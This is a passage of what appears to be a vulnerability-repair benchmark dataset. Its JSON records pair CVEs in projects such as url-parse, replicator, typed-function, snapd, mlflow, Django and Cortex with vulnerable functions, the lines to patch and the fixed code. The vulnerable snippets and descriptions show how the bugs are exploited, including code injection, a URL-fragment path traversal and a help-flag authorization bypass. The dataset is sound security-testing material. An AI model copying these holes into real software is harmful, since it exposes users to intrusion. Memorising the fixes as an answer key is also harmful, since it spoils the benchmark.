get_user_model().objects.exclude(pk=self.request.user.pk).exclude(pk__in=subscribers.values_list('user_id', flat=True)).prefetch_related(\n            Prefetch('comment_replies', queryset=replies),\n            Prefetch(COMMENTS_RELATION_NAME, queryset=comments)\n        ).exclude(\n            Q(comment_replies__isnull=True) & Q(**{('%s__isnull' % COMMENTS_RELATION_NAME): True})\n        )\n\n        # Skip if no recipients\n        if not (global_recipient_users or thread_users):\n            return\n        thread_users = [(user, set(list(user.comment_replies.values_list('comment_id', flat=True)) + list(getattr(user, COMMENTS_RELATION_NAME).values_list('pk', flat=True)))) for user in thread_users]\n        mailed_users = set()\n\n        for current_user, current_threads in thread_users:\n            # We are trying to avoid calling send_notification for each user for performance reasons\n            # so group the users receiving the same thread notifications together here\n            if current_user in mailed_users:\n                continue\n            users = [current_user]\n            mailed_users.add(current_user)\n            for user, threads in thread_users:\n                if user not in mailed_users and threads == current_threads:\n                    users.append(user)\n                    mailed_users.add(user)\n            send_notification(users, 'updated_comments', {\n                'page': self.page,\n                'editor': self.request.user,\n                'new_comments': [comment for comment in changes['new_comments'] if comment.pk in threads],\n                'resolved_comments': [comment for comment in changes['resolved_comments'] if comment.pk in threads],\n                'deleted_comments': [],\n                'replied_comments': [\n                    {\n                        'comment': comment,\n                        'replies': replies,\n                    }\n                    for comment, replies in changes['new_replies']\n                    if comment.pk in threads\n                ]\n            })\n\n        return send_notification(global_recipient_users, 'updated_comments', {\n            'page': self.page,\n            'editor': self.request.user,\n            'new_comments': changes['new_comments'],\n            'resolved_comments': changes['resolved_comments'],\n            'deleted_comments': changes['deleted_comments'],\n            'replied_comments': [\n                {\n                    'comment': comment,\n                    'replies': replies,\n                }\n                for comment, replies in changes['new_replies']\n            ]\n        })",
                "vul_localization": [
                    {
                        "patch_lines": [
                            24
                        ],
                        "tag": "modify"
                    },
                    {
                        "patch_lines": [
                            27,
                            28
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_py_16_1",
                "commit": "5fe901e",
                "file_path": "wagtail/admin/views/pages/edit.py",
                "start_line": 121,
                "end_line": 197,
                "snippet": "    def send_commenting_notifications(self, changes):\n        \"\"\"\n        Sends notifications about any changes to comments to anyone who is subscribed.\n        \"\"\"\n        relevant_comment_ids = []\n        relevant_comment_ids.extend(comment.pk for comment in changes['resolved_comments'])\n        relevant_comment_ids.extend(comment.pk for comment, replies in changes['new_replies'])\n\n        # Skip if no changes were made\n        # Note: We don't email about edited comments so ignore those here\n        if (not changes['new_comments']\n                and not changes['deleted_comments']\n                and not changes['resolved_comments']\n                and not changes['new_replies']):\n            return\n\n        # Get global page comment subscribers\n        subscribers = PageSubscription.objects.filter(page=self.page, comment_notifications=True).select_related('user')\n        global_recipient_users = [subscriber.user for subscriber in subscribers if subscriber.user != self.request.user]\n\n        # Get subscribers to individual threads\n        replies = CommentReply.objects.filter(comment_id__in=relevant_comment_ids)\n        comments = Comment.objects.filter(id__in=relevant_comment_ids)\n        thread_users = get_user_model().objects.exclude(pk=self.request.user.pk).exclude(pk__in=subscribers.values_list('user_id', flat=True)).filter(\n            Q(comment_replies__comment_id__in=relevant_comment_ids) | Q(**{('%s__pk__in' % COMMENTS_RELATION_NAME): relevant_comment_ids})\n        ).prefetch_related(\n            Prefetch('comment_replies', queryset=replies),\n            Prefetch(COMMENTS_RELATION_NAME, queryset=comments)\n        )\n\n        # Skip if no recipients\n        if not (global_recipient_users or thread_users):\n            return\n        thread_users = [(user, set(list(user.comment_replies.values_list('comment_id', flat=True)) + list(getattr(user, COMMENTS_RELATION_NAME).values_list('pk', flat=True)))) for user in thread_users]\n        mailed_users = set()\n\n        for current_user, current_threads in thread_users:\n            # We are trying to avoid calling send_notification for each user for performance reasons\n            # so group the users receiving the same thread notifications together here\n            if current_user in mailed_users:\n                continue\n            users = [current_user]\n            mailed_users.add(current_user)\n            for user, threads in thread_users:\n                if user not in mailed_users and threads == current_threads:\n                    users.append(user)\n                    mailed_users.add(user)\n            send_notification(users, 'updated_comments', {\n                'page': self.page,\n                'editor': self.request.user,\n                'new_comments': [comment for comment in changes['new_comments'] if comment.pk in threads],\n                'resolved_comments': [comment for comment in changes['resolved_comments'] if comment.pk in threads],\n                'deleted_comments': [],\n                'replied_comments': [\n                    {\n                        'comment': comment,\n                        'replies': replies,\n                    }\n                    for comment, replies in changes['new_replies']\n                    if comment.pk in threads\n                ]\n            })\n\n        return send_notification(global_recipient_users, 'updated_comments', {\n            'page': self.page,\n            'editor': self.request.user,\n            'new_comments': changes['new_comments'],\n            'resolved_comments': changes['resolved_comments'],\n            'deleted_comments': changes['deleted_comments'],\n            'replied_comments': [\n                {\n                    'comment': comment,\n                    'replies': replies,\n                }\n                for comment, replies in changes['new_replies']\n            ]\n        })"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2022-21683"
    },
    {
        "cve_id": "CVE-2022-0639",
        "cve_description": "Authorization Bypass Through User-Controlled Key in NPM url-parse prior to 1.5.7.",
        "cwe_info": {
            "CWE-862": {
                "name": "Missing Authorization",
                "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action."
            },
            "CWE-639": {
                "name": "Authorization Bypass Through User-Controlled Key",
                "description": "The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data."
            }
        },
        "repo": "https://github.com/unshiftio/url-parse",
        "patch_url": [
            "https://github.com/unshiftio/url-parse/commit/ef45a1355375a8244063793a19059b4f62fc8788"
        ],
        "programing_language": "JavaScript",
        "vul_func": [
            {
                "id": "vul_js_39_1",
                "commit": "88df234",
                "file_path": "index.js",
                "start_line": 522,
                "end_line": 552,
                "snippet": "function toString(stringify) {\n  if (!stringify || 'function' !== typeof stringify) stringify = qs.stringify;\n\n  var query\n    , url = this\n    , protocol = url.protocol;\n\n  if (protocol && protocol.charAt(protocol.length - 1) !== ':') protocol += ':';\n\n  var result =\n    protocol +\n    ((url.protocol && url.slashes) || isSpecial(url.protocol) ? '//' : '');\n\n  if (url.username) {\n    result += url.username;\n    if (url.password) result += ':'+ url.password;\n    result += '@';\n  } else if (url.password) {\n    result += ':'+ url.password;\n    result += '@';\n  }\n\n  result += url.host + url.pathname;\n\n  query = 'object' === typeof url.query ? stringify(url.query) : url.query;\n  if (query) result += '?' !== query.charAt(0) ? '?'+ query : query;\n\n  if (url.hash) result += url.hash;\n\n  return result;\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            20
                        ],
                        "tag": "add"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_js_39_1",
                "commit": "ef45a13",
                "file_path": "index.js",
                "start_line": 522,
                "end_line": 563,
                "snippet": "function toString(stringify) {\n  if (!stringify || 'function' !== typeof stringify) stringify = qs.stringify;\n\n  var query\n    , url = this\n    , protocol = url.protocol;\n\n  if (protocol && protocol.charAt(protocol.length - 1) !== ':') protocol += ':';\n\n  var result =\n    protocol +\n    ((url.protocol && url.slashes) || isSpecial(url.protocol) ? '//' : '');\n\n  if (url.username) {\n    result += url.username;\n    if (url.password) result += ':'+ url.password;\n    result += '@';\n  } else if (url.password) {\n    result += ':'+ url.password;\n    result += '@';\n  } else if (\n    url.protocol !== 'file:' &&\n    isSpecial(url.protocol) &&\n    !url.host &&\n    url.pathname !== '/'\n  ) {\n    //\n    // Add back the empty userinfo, otherwise the original invalid URL\n    // might be transformed into a valid one with `url.pathname` as host.\n    //\n    result += '@';\n  }\n\n  result += url.host + url.pathname;\n\n  query = 'object' === typeof url.query ? stringify(url.query) : url.query;\n  if (query) result += '?' !== query.charAt(0) ? '?'+ query : query;\n\n  if (url.hash) result += url.hash;\n\n  return result;\n}"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2022-0639"
    },
    {
        "cve_id": "CVE-2021-33420",
        "cve_description": "A deserialization issue discovered in inikulin replicator before 1.0.4 allows remote attackers to run arbitrary code via the fromSerializable function in TypedArray object.",
        "cwe_info": {
            "CWE-502": {
                "name": "Deserialization of Untrusted Data",
                "description": "The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid."
            }
        },
        "repo": "https://github.com/inikulin/replicator",
        "patch_url": [
            "https://github.com/inikulin/replicator/commit/2c626242fb4a118855262c64b5731b2ce98e521b"
        ],
        "programing_language": "JavaScript",
        "vul_func": [
            {
                "id": "vul_js_64_1",
                "commit": "8eb0892",
                "file_path": "index.js",
                "start_line": 13,
                "end_line": 27,
                "snippet": "var ARRAY_BUFFER_SUPPORTED = typeof ArrayBuffer === 'function';\nvar MAP_SUPPORTED          = typeof Map === 'function';\nvar SET_SUPPORTED          = typeof Set === 'function';\n\nvar TYPED_ARRAY_CTORS = [\n    'Int8Array',\n    'Uint8Array',\n    'Uint8ClampedArray',\n    'Int16Array',\n    'Uint16Array',\n    'Int32Array',\n    'Uint32Array',\n    'Float32Array',\n    'Float64Array'\n];",
                "vul_localization": [
                    {
                        "patch_lines": [
                            1,
                            2,
                            3,
                            4,
                            5,
                            6,
                            7,
                            8,
                            9,
                            10,
                            11,
                            12,
                            13,
                            14,
                            15
                        ],
                        "tag": "modify"
                    }
                ]
            },
            {
                "id": "vul_js_64_2",
                "commit": "8eb0892",
                "file_path": "index.js",
                "start_line": 430,
                "end_line": 432,
                "snippet": "        fromSerializable: function (val) {\n            return typeof GLOBAL[val.ctorName] === 'function' ? new GLOBAL[val.ctorName](val.arr) : val.arr;\n        }",
                "vul_localization": [
                    {
                        "patch_lines": [
                            2
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_js_64_1",
                "commit": "2c626242fb4a118855262c64b5731b2ce98e521b",
                "file_path": "index.js",
                "start_line": 13,
                "end_line": 35,
                "snippet": "var TYPED_ARRAY_CTORS = {\n    'Int8Array':         Int8Array,\n    'Uint8Array':        Uint8Array,\n    'Uint8ClampedArray': Uint8ClampedArray,\n    'Int16Array':        Int16Array,\n    'Uint16Array':       Uint16Array,\n    'Int32Array':        Int32Array,\n    'Uint32Array':       Uint32Array,\n    'Float32Array':      Float32Array,\n    'Float64Array':      Float64Array\n};\n\nfunction isFunction (value) {\n    return typeof value === 'function';\n}\n\nvar ARRAY_BUFFER_SUPPORTED = isFunction(ArrayBuffer);\nvar MAP_SUPPORTED          = isFunction(Map);\nvar SET_SUPPORTED          = isFunction(Set);\n\nvar TYPED_ARRAY_SUPPORTED  = function (typeName) {\n    return isFunction(TYPED_ARRAY_CTORS[typeName]); \n};"
            },
            {
                "id": "fix_js_64_2",
                "commit": "2c626242fb4a118855262c64b5731b2ce98e521b",
                "file_path": "index.js",
                "start_line": 432,
                "end_line": 434,
                "snippet": "        fromSerializable: function (val) {\n            return TYPED_ARRAY_SUPPORTED(val.ctorName) ? new TYPED_ARRAY_CTORS[val.ctorName](val.arr) : val.arr;\n        }"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2021-33420"
    },
    {
        "cve_id": "CVE-2017-1001004",
        "cve_description": "typed-function dynamically generates and evaluates JavaScript source when creating typed functions. An attacker who can control the function name argument passed to typed(name, signatures) can embed JavaScript syntax in that name; if the name is concatenated into the generated source without proper validation or encoding, the injected code can execute during typed function construction, resulting in arbitrary code execution.",
        "cwe_info": {
            "CWE-20": {
                "name": "Improper Input Validation",
                "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."
            }
        },
        "repo": "https://github.com/josdejong/typed-function",
        "patch_url": [
            "https://github.com/josdejong/typed-function/commit/6478ef4f2c3f3c2d9f2c820e2db4b4ba3425e6fe"
        ],
        "programing_language": "JavaScript",
        "vul_func": [
            {
                "id": "vul_js_66_1",
                "commit": "9a8cac3",
                "file_path": "typed-function.js",
                "start_line": 1079,
                "end_line": 1124,
                "snippet": "    function _typed(name, signatures) {\n      var refs = new Refs();\n\n      // parse signatures, expand them\n      var _signatures = parseSignatures(signatures);\n      if (_signatures.length == 0) {\n        throw new Error('No signatures provided');\n      }\n\n      // filter all any type signatures\n      var anys = filterAnyTypeSignatures(_signatures);\n\n      // parse signatures into a node tree\n      var node = parseTree(_signatures, [], anys);\n\n      //var util = require('util');\n      //console.log('ROOT');\n      //console.log(util.inspect(node, { depth: null }));\n\n      // generate code for the typed function\n      var code = [];\n      var _name = name || '';\n      var _args = getArgs(maxParams(_signatures));\n      code.push('function ' + _name + '(' + _args.join(', ') + ') {');\n      code.push('  \"use strict\";');\n      code.push('  var name = \\'' + _name + '\\';');\n      code.push(node.toCode(refs, '  ', false));\n      code.push('}');\n\n      // generate body for the factory function\n      var body = [\n        refs.toCode(),\n        'return ' + code.join('\\n')\n      ].join('\\n');\n\n      // evaluate the JavaScript code and attach function references\n      var factory = (new Function(refs.name, 'createError', body));\n      var fn = factory(refs, createError);\n\n      //console.log('FN\\n' + fn.toString()); // TODO: cleanup\n\n      // attach the signatures with sub-functions to the constructed function\n      fn.signatures = mapSignatures(_signatures);\n\n      return fn;\n    }",
                "vul_localization": [
                    {
                        "patch_lines": [
                            22,
                            23,
                            24,
                            25,
                            26
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_js_66_1",
                "commit": "6478ef4f2c3f3c2d9f2c820e2db4b4ba3425e6fe",
                "file_path": "typed-function.js",
                "start_line": 1079,
                "end_line": 1127,
                "snippet": "    function _typed(name, signatures) {\n      var refs = new Refs();\n\n      // parse signatures, expand them\n      var _signatures = parseSignatures(signatures);\n      if (_signatures.length == 0) {\n        throw new Error('No signatures provided');\n      }\n\n      // filter all any type signatures\n      var anys = filterAnyTypeSignatures(_signatures);\n\n      // parse signatures into a node tree\n      var node = parseTree(_signatures, [], anys);\n\n      //var util = require('util');\n      //console.log('ROOT');\n      //console.log(util.inspect(node, { depth: null }));\n\n      // generate code for the typed function\n      // safeName is a conservative replacement of characters \n      // to prevend being able to inject JS code at the place of the function name \n      // the name is useful for stack trackes therefore we want have it there\n      var code = [];\n      var safeName = (name || '').replace(/[^a-zA-Z0-9_$]/g, '_')\n      var args = getArgs(maxParams(_signatures));\n      code.push('function ' + safeName + '(' + args.join(', ') + ') {');\n      code.push('  \"use strict\";');\n      code.push('  var name = ' + JSON.stringify(name || '') + ';');\n      code.push(node.toCode(refs, '  ', false));\n      code.push('}');\n\n      // generate body for the factory function\n      var body = [\n        refs.toCode(),\n        'return ' + code.join('\\n')\n      ].join('\\n');\n\n      // evaluate the JavaScript code and attach function references\n      var factory = (new Function(refs.name, 'createError', body));\n      var fn = factory(refs, createError);\n\n      //console.log('FN\\n' + fn.toString()); // TODO: cleanup\n\n      // attach the signatures with sub-functions to the constructed function\n      fn.signatures = mapSignatures(_signatures);\n\n      return fn;\n    }"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2017-1001004"
    },
    {
        "cve_id": "CVE-2024-5138",
        "cve_description": "The snapctl component within snapd allows a confined snap to interact with the snapd daemon to take certain privileged actions on behalf of the snap. It was found that snapctl did not properly parse command-line arguments, allowing an unprivileged user to trigger an authorised action on behalf of the snap that would normally require administrator privileges to perform. This could possibly allow an unprivileged user to perform a denial of service or similar.",
        "cwe_info": {
            "CWE-285": {
                "name": "Improper Authorization",
                "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."
            },
            "CWE-250": {
                "name": "Execution with Unnecessary Privileges",
                "description": "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses."
            },
            "CWE-269": {
                "name": "Improper Privilege Management",
                "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."
            }
        },
        "repo": "https://github.com/canonical/snapd",
        "patch_url": [
            "https://github.com/canonical/snapd/commit/68ee9c6aa916ab87dbfd9a26030690f2cabf1e14"
        ],
        "programing_language": "Go",
        "vul_func": [
            {
                "id": "vul_go_10_1",
                "commit": "8410608",
                "file_path": "overlord/hookstate/ctlcmd/ctlcmd.go",
                "start_line": 183,
                "end_line": 193,
                "snippet": "func isAllowedToRun(uid uint32, args []string) bool {\n\t// A command can run if any of the following are true:\n\t//\t* It runs as root\n\t//\t* It's contained in nonRootAllowed\n\t//\t* It's used with the -h or --help flags\n\t// note: commands still need valid context and snaps can only access own config.\n\treturn uid == 0 ||\n\t\tstrutil.ListContains(nonRootAllowed, args[0]) ||\n\t\tstrutil.ListContains(args, \"-h\") ||\n\t\tstrutil.ListContains(args, \"--help\")\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            7,
                            8,
                            9,
                            10
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_go_10_1",
                "commit": "68ee9c6",
                "file_path": "overlord/hookstate/ctlcmd/ctlcmd.go",
                "start_line": 186,
                "end_line": 215,
                "snippet": "func isAllowedToRun(uid uint32, args []string) bool {\n\t// Root can run all snapctl commands.\n\tif uid == 0 {\n\t\treturn true\n\t}\n\n\tfor idx, arg := range args {\n\t\t// A number of sub-commands are allowed to be executed by non-root users.\n\t\tif idx == 0 && strutil.ListContains(nonRootAllowed, arg) {\n\t\t\treturn true\n\t\t}\n\n\t\t// Invoking help is always allowed.\n\t\tif arg == \"-h\" || arg == \"--help\" {\n\t\t\treturn true\n\t\t}\n\n\t\t// Note that we are not interrupting parsing after the first non-option\n\t\t// argument (POSIX style), because we want to cater to the use case of\n\t\t// the user appending --help or -h at the end of the command and still\n\t\t// getting something useful. The only exception is the condition below.\n\n\t\t// The explicit termination argument terminates parsing.\n\t\tif arg == \"--\" {\n\t\t\tbreak\n\t\t}\n\t}\n\n\treturn false\n}"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2024-5138"
    },
    {
        "cve_id": "CVE-2024-3848",
        "cve_description": "A path traversal vulnerability exists in mlflow/mlflow version 2.11.0, identified as a bypass for the previously addressed CVE-2023-6909. The vulnerability arises from the application's handling of artifact URLs, where a '#' character can be used to insert a path into the fragment, effectively skipping validation. This allows an attacker to construct a URL that, when processed, ignores the protocol scheme and uses the provided path for filesystem access. As a result, an attacker can read arbitrary files, including sensitive information such as SSH and cloud keys, by exploiting the way the application converts the URL into a filesystem path. The issue stems from insufficient validation of the fragment portion of the URL, leading to arbitrary file read through path traversal.",
        "cwe_info": {
            "CWE-73": {
                "name": "External Control of File Name or Path",
                "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."
            },
            "CWE-22": {
                "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')",
                "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."
            }
        },
        "repo": "https://github.com/mlflow/mlflow",
        "patch_url": [
            "https://github.com/mlflow/mlflow/commit/f8d51e21523238280ebcfdb378612afd7844eca8"
        ],
        "programing_language": "Python",
        "vul_func": [
            {
                "id": "vul_py_32_1",
                "commit": "c01c02a",
                "file_path": "mlflow/server/handlers.py",
                "start_line": 589,
                "end_line": 612,
                "snippet": "def _create_experiment():\n    request_message = _get_request_message(\n        CreateExperiment(),\n        schema={\n            \"name\": [_assert_required, _assert_string],\n            \"artifact_location\": [_assert_string],\n            \"tags\": [_assert_array],\n        },\n    )\n\n    tags = [ExperimentTag(tag.key, tag.value) for tag in request_message.tags]\n\n    # Validate query string in artifact location to prevent attacks\n    parsed_artifact_locaion = urllib.parse.urlparse(request_message.artifact_location)\n    validate_query_string(parsed_artifact_locaion.query)\n\n    experiment_id = _get_tracking_store().create_experiment(\n        request_message.name, request_message.artifact_location, tags\n    )\n    response_message = CreateExperiment.Response()\n    response_message.experiment_id = experiment_id\n    response = Response(mimetype=\"application/json\")\n    response.set_data(message_to_json(response_message))\n    return response",
                "vul_localization": [
                    {
                        "patch_lines": [
                            14
                        ],
                        "tag": "add"
                    }
                ]
            },
            {
                "id": "vul_py_32_2",
                "commit": "c01c02a",
                "file_path": "mlflow/server/handlers.py",
                "start_line": 1723,
                "end_line": 1742,
                "snippet": "def _validate_source(source: str, run_id: str) -> None:\n    if is_local_uri(source):\n        if run_id:\n            store = _get_tracking_store()\n            run = store.get_run(run_id)\n            source = pathlib.Path(local_file_uri_to_path(source)).resolve()\n            run_artifact_dir = pathlib.Path(local_file_uri_to_path(run.info.artifact_uri)).resolve()\n            if run_artifact_dir in [source, *source.parents]:\n                return\n\n        raise MlflowException(\n            f\"Invalid model version source: '{source}'. To use a local path as a model version \"\n            \"source, the run_id request parameter has to be specified and the local path has to be \"\n            \"contained within the artifact directory of the run specified by the run_id.\",\n            INVALID_PARAMETER_VALUE,\n        )\n\n    # Checks if relative paths are present in the source (a security threat). If any are present,\n    # raises an Exception.\n    _validate_non_local_source_contains_relative_paths(source)",
                "vul_localization": [
                    {
                        "patch_lines": [
                            7,
                            8,
                            9
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_py_32_1",
                "commit": "f8d51e2",
                "file_path": "mlflow/server/handlers.py",
                "start_line": 589,
                "end_line": 616,
                "snippet": "def _create_experiment():\n    request_message = _get_request_message(\n        CreateExperiment(),\n        schema={\n            \"name\": [_assert_required, _assert_string],\n            \"artifact_location\": [_assert_string],\n            \"tags\": [_assert_array],\n        },\n    )\n\n    tags = [ExperimentTag(tag.key, tag.value) for tag in request_message.tags]\n\n    # Validate query string in artifact location to prevent attacks\n    parsed_artifact_locaion = urllib.parse.urlparse(request_message.artifact_location)\n    if parsed_artifact_locaion.fragment:\n        raise MlflowException(\n            \"'artifact_location' URL can't include fragment part.\",\n            error_code=INVALID_PARAMETER_VALUE,\n        )\n    validate_query_string(parsed_artifact_locaion.query)\n    experiment_id = _get_tracking_store().create_experiment(\n        request_message.name, request_message.artifact_location, tags\n    )\n    response_message = CreateExperiment.Response()\n    response_message.experiment_id = experiment_id\n    response = Response(mimetype=\"application/json\")\n    response.set_data(message_to_json(response_message))\n    return response"
            },
            {
                "id": "fix_py_32_2",
                "commit": "f8d51e2",
                "file_path": "mlflow/server/handlers.py",
                "start_line": 1727,
                "end_line": 1749,
                "snippet": "def _validate_source(source: str, run_id: str) -> None:\n    if is_local_uri(source):\n        if run_id:\n            store = _get_tracking_store()\n            run = store.get_run(run_id)\n            source = pathlib.Path(local_file_uri_to_path(source)).resolve()\n            if is_local_uri(run.info.artifact_uri):\n                run_artifact_dir = pathlib.Path(\n                    local_file_uri_to_path(run.info.artifact_uri)\n                ).resolve()\n                if run_artifact_dir in [source, *source.parents]:\n                    return\n\n        raise MlflowException(\n            f\"Invalid model version source: '{source}'. To use a local path as a model version \"\n            \"source, the run_id request parameter has to be specified and the local path has to be \"\n            \"contained within the artifact directory of the run specified by the run_id.\",\n            INVALID_PARAMETER_VALUE,\n        )\n\n    # Checks if relative paths are present in the source (a security threat). If any are present,\n    # raises an Exception.\n    _validate_non_local_source_contains_relative_paths(source)"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2024-3848"
    },
    {
        "cve_id": "CVE-2015-8213",
        "cve_description": "The get_format function in utils/formats.py in Django before 1.7.x before 1.7.11, 1.8.x before 1.8.7, and 1.9.x before 1.9rc2 might allow remote attackers to obtain sensitive application secrets via a settings key in place of a date/time format setting, as demonstrated by SECRET_KEY.",
        "cwe_info": {
            "CWE-200": {
                "name": "Exposure of Sensitive Information to an Unauthorized Actor",
                "description": "The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information."
            }
        },
        "repo": "https://github.com/django/django",
        "patch_url": [
            "https://github.com/django/django/commit/316bc3fc9437c5960c24baceb93c73f1939711e4"
        ],
        "programing_language": "Python",
        "vul_func": [
            {
                "id": "vul_py_12_1",
                "commit": "710e11d",
                "file_path": "django/utils/formats.py",
                "start_line": 85,
                "end_line": 120,
                "snippet": "def get_format(format_type, lang=None, use_l10n=None):\n    \"\"\"\n    For a specific format type, returns the format for the current\n    language (locale), defaults to the format in the settings.\n    format_type is the name of the format, e.g. 'DATE_FORMAT'\n\n    If use_l10n is provided and is not None, that will force the value to\n    be localized (or not), overriding the value of settings.USE_L10N.\n    \"\"\"\n    format_type = force_str(format_type)\n    if use_l10n or (use_l10n is None and settings.USE_L10N):\n        if lang is None:\n            lang = get_language()\n        cache_key = (format_type, lang)\n        try:\n            cached = _format_cache[cache_key]\n            if cached is not None:\n                return cached\n            else:\n                # Return the general setting by default\n                return getattr(settings, format_type)\n        except KeyError:\n            for module in get_format_modules(lang):\n                try:\n                    val = getattr(module, format_type)\n                    for iso_input in ISO_INPUT_FORMATS.get(format_type, ()):\n                        if iso_input not in val:\n                            if isinstance(val, tuple):\n                                val = list(val)\n                            val.append(iso_input)\n                    _format_cache[cache_key] = val\n                    return val\n                except AttributeError:\n                    pass\n            _format_cache[cache_key] = None\n    return getattr(settings, format_type)",
                "vul_localization": [
                    {
                        "patch_lines": [
                            10
                        ],
                        "tag": "add"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_py_12_1",
                "commit": "316bc3fc9437c5960c24baceb93c73f1939711e4",
                "file_path": "django/utils/formats.py",
                "start_line": 103,
                "end_line": 140,
                "snippet": "def get_format(format_type, lang=None, use_l10n=None):\n    \"\"\"\n    For a specific format type, returns the format for the current\n    language (locale), defaults to the format in the settings.\n    format_type is the name of the format, e.g. 'DATE_FORMAT'\n\n    If use_l10n is provided and is not None, that will force the value to\n    be localized (or not), overriding the value of settings.USE_L10N.\n    \"\"\"\n    format_type = force_str(format_type)\n    if format_type not in FORMAT_SETTINGS:\n        return format_type\n    if use_l10n or (use_l10n is None and settings.USE_L10N):\n        if lang is None:\n            lang = get_language()\n        cache_key = (format_type, lang)\n        try:\n            cached = _format_cache[cache_key]\n            if cached is not None:\n                return cached\n            else:\n                # Return the general setting by default\n                return getattr(settings, format_type)\n        except KeyError:\n            for module in get_format_modules(lang):\n                try:\n                    val = getattr(module, format_type)\n                    for iso_input in ISO_INPUT_FORMATS.get(format_type, ()):\n                        if iso_input not in val:\n                            if isinstance(val, tuple):\n                                val = list(val)\n                            val.append(iso_input)\n                    _format_cache[cache_key] = val\n                    return val\n                except AttributeError:\n                    pass\n            _format_cache[cache_key] = None\n    return getattr(settings, format_type)"
            },
            {
                "id": "fix_py_12_2",
                "commit": "316bc3fc9437c5960c24baceb93c73f1939711e4",
                "file_path": "django/utils/formats.py",
                "start_line": 33,
                "end_line": 50,
                "snippet": "FORMAT_SETTINGS = frozenset([\n    'DECIMAL_SEPARATOR',\n    'THOUSAND_SEPARATOR',\n    'NUMBER_GROUPING',\n    'FIRST_DAY_OF_WEEK',\n    'MONTH_DAY_FORMAT',\n    'TIME_FORMAT',\n    'DATE_FORMAT',\n    'DATETIME_FORMAT',\n    'SHORT_DATE_FORMAT',\n    'SHORT_DATETIME_FORMAT',\n    'YEAR_MONTH_FORMAT',\n    'DATE_INPUT_FORMATS',\n    'TIME_INPUT_FORMATS',\n    'DATETIME_INPUT_FORMATS',\n])\n\n"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2015-8213"
    },
    {
        "cve_id": "CVE-2021-36157",
        "cve_description": "An issue was discovered in Grafana Cortex through 1.9.0. The header value X-Scope-OrgID is used to construct file paths for rules files, and if crafted to conduct directory traversal such as ae ../../sensitive/path/in/deployment pathname, then Cortex will attempt to parse a rules file at that location and include some of the contents in the error message. (Other Cortex API requests can also be sent a malicious OrgID header, e.g., tricking the ingester into writing metrics to a different location, but the effect is nuisance rather than information disclosure.)",
        "cwe_info": {
            "CWE-73": {
                "name": "External Control of File Name or Path",
                "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."
            },
            "CWE-22": {
                "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')",
                "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."
            }
        },
        "repo": "https://github.com/cortexproject/cortex",
        "patch_url": [
            "https://github.com/cortexproject/cortex/commit/d9e1f81f40c607b9e97c2fc6db70ae54679917c4"
        ],
        "programing_language": "Go",
        "vul_func": [
            {
                "id": "vul_go_22_1",
                "commit": "1e4e0ca",
                "file_path": "pkg/tenant/resolver.go",
                "start_line": 67,
                "end_line": 74,
                "snippet": "func (t *SingleResolver) TenantIDs(ctx context.Context) ([]string, error) {\n\t//lint:ignore faillint wrapper around upstream method\n\torgID, err := user.ExtractOrgID(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn []string{orgID}, err\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            3
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_go_22_1",
                "commit": "d9e1f81",
                "file_path": "pkg/tenant/resolver.go",
                "start_line": 91,
                "end_line": 97,
                "snippet": "func (t *SingleResolver) TenantIDs(ctx context.Context) ([]string, error) {\n\torgID, err := t.TenantID(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn []string{orgID}, err\n}"
            },
            {
                "id": "fix_go_22_2",
                "commit": "d9e1f81",
                "file_path": "pkg/tenant/resolver.go",
                "start_line": 66,
                "end_line": 75,
                "snippet": "func containsUnsafePathSegments(id string) bool {\n\t// handle the relative reference to current and parent path.\n\tif id == \".\" || id == \"..\" {\n\t\treturn true\n\t}\n\n\treturn strings.ContainsAny(id, \"\\\\/\")\n}\n\nvar errInvalidTenantID = errors.New(\"invalid tenant ID\")"
            },
            {
                "id": "fix_go_22_3",
                "commit": "d9e1f81",
                "file_path": "pkg/tenant/resolver.go",
                "start_line": 77,
                "end_line": 89,
